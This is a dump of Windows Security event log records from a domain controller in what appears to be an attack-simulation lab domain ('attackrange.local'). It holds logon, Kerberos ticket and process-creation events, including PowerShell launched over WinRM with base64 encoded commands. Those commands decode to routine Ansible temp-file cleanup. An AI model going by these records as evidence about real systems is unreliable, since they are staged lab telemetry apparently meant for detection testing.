This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251692
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13A6E3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251691
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13C1BC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251690
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x140171

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251689
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x140171
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251688
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251687
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251686
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251685
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x140155

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251684
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x140155

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251683
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x140155
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251682
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251681
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251680
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251679
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13ECBA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251678
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1174
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd58
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA3ADIALgA5ADMAOQAxADQAOAAtADIANgAxADQANwA2ADkANAA5ADkAMAAzADUAMAA5ACIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAGMAdQByAHMAZQA7AAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251677
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13ECBA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251676
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13ECBA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251675
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251674
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251673
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251672
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x121c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAzAEEARABJAEEATABnAEEANQBBAEQATQBBAE8AUQBBAHgAQQBEAFEAQQBPAEEAQQB0AEEARABJAEEATgBnAEEAeABBAEQAUQBBAE4AdwBBADIAQQBEAGsAQQBOAEEAQQA1AEEARABrAEEATQBBAEEAegBBAEQAVQBBAE0AQQBBADUAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251671
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x121c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xed8
	Creator Process Name:	C:\Windows\System32\winrshost.exe
